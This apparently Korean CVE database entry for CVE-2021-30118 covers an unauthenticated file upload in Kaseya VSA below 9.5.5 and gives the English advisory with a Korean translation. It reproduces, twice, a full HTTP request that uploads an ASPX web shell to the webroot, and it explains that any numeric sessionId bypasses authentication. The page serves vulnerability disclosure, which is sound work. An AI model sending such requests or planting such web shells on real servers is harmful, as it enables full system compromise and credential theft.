CVE-2021-30118 Unauthenticated Remote Code Execution in Kaseya VSA < v9.5.5
Kaseya VSA에서 인증되지 않은 원격 코드 실행 < v9.5.5
설명
An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.
공격자는 Kaseya VSA 통합 원격 모니터링 및 관리 (RMM) 9.5.4.2149에 대한 웹 서버 프로세스의 권한으로 파일을 업로드하고 이후 이러한 파일을 사용하여 ASP 명령을 실행할 수 있습니다. api /SystemTab/uploader.aspx는 RCE로 이어지는 인증되지 않은 임의의 파일 업로드에 취약합니다. 공격자는 웹 서버 프로세스의 권한을 가진 파일을 업로드하고 그 후 이러한 파일을 사용하여 ASP 명령을 실행할 수 있습니다. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. 호출이 sessionId 쿠키를 전달하도록 요구하더라도 sessionId가 실제로 검증되지 않고 숫자 값이 유효한 것으로 수락되었음을 확인했습니다. 보안 문제가 발견됨 --- * /SystemTab/uploader.aspx에 의해 세션 ID 쿠키가 필요하지만 실제로 유효성이 검사되지 않아 공격자가 인증을 우회할 수 있습니다 * /SystemTab/uploader.aspx를 사용하면 공격자가 웹 서버가 쓰기 액세스 권한이 있는 모든 위치에서 임의의 콘텐츠로 파일을 만들 수 있습니다 * 웹 서버 프로세스는 공격자가 새로 만든 파일의 URL을 요청하여 실행할 수 있는 웹 루트에 대한 쓰기 액세스 권한을 갖습니다. 영향 --- 이 임의의 파일 업로드는 공격자가 웹서버 프로세스가 웹루트를 포함하여(그러나 이에 국한되지는 않음) 액세스하는 서버의 하드 드라이브에 자신이 선택한 파일을 배치할 수 있게 합니다. 공격자가 코드를 가진 파일을 webroot(예: aspx 코드)에 업로드하면 웹서버의 컨텍스트에서 이 코드를 실행하여 시스템의 무결성, 기밀성 또는 가용성을 위반하거나 다른 사용자의 자격 증명을 도용할 수 있습니다. 즉, 완전한 시스템 타협으로 이어질 수 있습니다.
영향 받는 제품 제품 1개
-
NVD 기준 해결 버전 있음
kaseya
vsa
영향 받는 버전
- 9.5.5 미만
해결 버전
- 9.5.5 이상
참고 자료 4건
- csirt.divd.nl https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ (새 창)
- csirt.divd.nl https://csirt.divd.nl/CVE-2021-30118 (새 창)
- csirt.divd.nl https://csirt.divd.nl/DIVD-2021-00011 (새 창)
- helpdesk.kaseya.com https://helpdesk.kaseya.com/hc/en-gb/articles/360019054377-9-5-5-Feature-Release-10-April-2021 (새 창)